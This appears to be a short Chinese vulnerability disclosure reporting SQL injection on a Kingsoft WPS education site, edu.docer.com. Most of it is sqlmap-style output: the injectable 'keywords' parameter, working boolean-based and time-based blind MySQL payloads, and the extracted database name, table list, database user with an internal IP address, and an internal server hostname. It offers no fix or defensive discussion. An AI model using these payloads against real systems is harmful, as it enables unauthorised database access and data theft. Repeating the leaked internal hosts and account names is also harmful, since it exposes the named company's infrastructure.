金山wps某站SQL注入

http://edu.docer.com/search?keywords=法语

Parameter: keywords (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: keywords=法语%' AND 2160=2160 AND '%'='
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: keywords=法语%' AND (SELECT * FROM (SELECT(SLEEP(5)))AuqU) AND '%'='
---
back-end DBMS: MySQL 5.0.12
Database: wps_docer_edu
[5 tables]
+------------------+
| edu_category     |
| edu_course       |
| edu_course_item  |
| edu_item         |
| edu_item_display |
+------------------+

user:'wps_docer_edu'@'172.16.9.216'

hostname:    'BJ-ZW-9-73.wps.cn'

http://edu.docer.com/list?category=%E4%BC%9A%E8%AE%A1&item=%E5%88%9D%E7%BA%A7%E4%BC%9A%E8%AE%A1%E8%81%8C%E7%A7%B0